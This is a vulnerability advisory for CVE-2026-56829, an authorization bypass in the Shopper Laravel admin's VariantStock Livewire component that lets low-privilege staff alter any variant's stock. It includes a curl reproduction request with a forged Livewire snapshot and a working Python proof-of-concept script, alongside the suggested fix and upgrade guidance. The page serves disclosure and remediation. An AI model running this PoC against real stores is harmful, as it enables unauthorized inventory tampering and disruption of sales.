CVE-2026-56829: CSRF

Published Sep 11, 2026
·
Updated

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

- packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91

php // Line 34 - unprotected, client-mutable variant binding public $variant;

// Lines 36-91 - no ->authorize(...) on the Action public function stockAction(): Action { return Action::make('stock') ->label(('shopper::forms.actions.update')) ->color('gray') ->icon(Untitledui::Package) ->modalHeading(('shopper::pages/products.modals.variants.title')) ->modalWidth(Width::Large) ->schema([ Select::make('inventory') ->label(('shopper::pages/products.inventoryname')) ->options(Inventory::query()->pluck('name', 'id')) ->native(false) ->required(), TextInput::make('quantity') ->label(('shopper::forms.label.quantity')) ->placeholder('-10 or -5 or 50, etc') ->numeric() ->required(), ]) ->action(function (array $data): void { // ...calls $this->variant->mutateStock(...) or decreaseStock(...) // with no permission check anywhere in this path }); }

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browseproducts or browseorders). No editproductvariants permission is required.

bash Step 1: Log in and obtain a session cookie and Livewire CSRF token. Obtain them from a normal browser login, then use them below.

SESSION="laravelsession=<yoursessionvalue>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

Step 2: Load the product variant page for any variant ID (e.g., 1). Capture the Livewire snapshot from the page source.

Step 3: Call the stock action on an arbitrary variant. The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "$XSRF" \ -H "Cookie: $SESSION" \ -d '{ "components": [{ "snapshot": "{\"id\":\"VARIANTSTOCKCOMPONENTID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}", "updates": {}, "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}] }] }' Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

python #!/usr/bin/env python3 """ VariantStock authorization bypass PoC.

Set these environment variables before running: BASEURL e.g. http://localhost SESSIONCOOKIE value of the laravelsession cookie XSRFTOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENTID Livewire component snapshot ID (from page source) VARIANTID integer ID of any target variant INVENTORYID integer ID of the target inventory location QUANTITY integer quantity adjustment (positive or negative) """

import json import os import requests

baseurl = os.environ['BASEURL'] session = os.environ['SESSIONCOOKIE'] xsrf = os.environ['XSRFTOKEN'] componentid = os.environ['COMPONENTID'] variantid = int(os.environ['VARIANTID']) inventoryid = int(os.environ['INVENTORYID']) quantity = int(os.environ['QUANTITY'])

headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravelsession={session}', 'X-Livewire': '1', }

snapshot = json.dumps({ 'id': componentid, 'data': {'variant': variantid}, 'checksum': 'UNLOCKEDPROPNOCHECKSUMNEEDED', })

payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callAction', 'params': ['stock', { 'inventory': inventoryid, 'quantity': quantity, }] }] }] }

r = requests.post(f'{baseurl}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.statuscode}') print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browseproducts can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

php // packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked] // prevent client-side ID substitution public $variant;

public function stockAction(): Action { return Action::make('stock') ->authorize('editproductvariants') // add this // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Affected Software

1 affected componentFixes available
composer/shopper/framework<2.9.2
2.9.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/shopper/framework to a version that resolves this vulnerability.

    Fixed in 2.9.2
  2. Configuration

    In VariantStock::stockAction() (referenced lines 34-91 in the described file), add a permission check so only users with the edit_product_variants permission can adjust inventory quantity. The material notes ->authorize('edit_product_variants') is missing and the action currently lacks any authorization chain.

    packages/admin/src/Livewire/Components/Products/VariantStock.php stockAction() authorization = Add ->authorize('edit_product_variants') (or equivalent permission check) to the stockAction/Action path

Event History

Sep 11, 2026
Advisory Published
via GitHub·09:29 PM
Data Sourced
via GitHub·09:29 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Any authenticated admin-panel user can exploit it, including browse-only staff with no edit permissions. No user interaction is required.

2

What access does an attacker need to change stock?

The attacker needs an authenticated admin-panel session and network access to the application. They can invoke the exposed Livewire action through its wire payload.

3

Can an attacker alter stock for variants they were not intended to manage?

Yes. Because the variant binding is client-mutable, an attacker can redirect the stock mutation to an arbitrary product variant in the database.

4

How can I check whether the vulnerable implementation is present?

Inspect packages/admin/src/Livewire/Components/Products/VariantStock.php. The described vulnerable code has a public $variant property without the #[Locked] attribute and a stockAction() Action without an ->authorize(...) chain.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203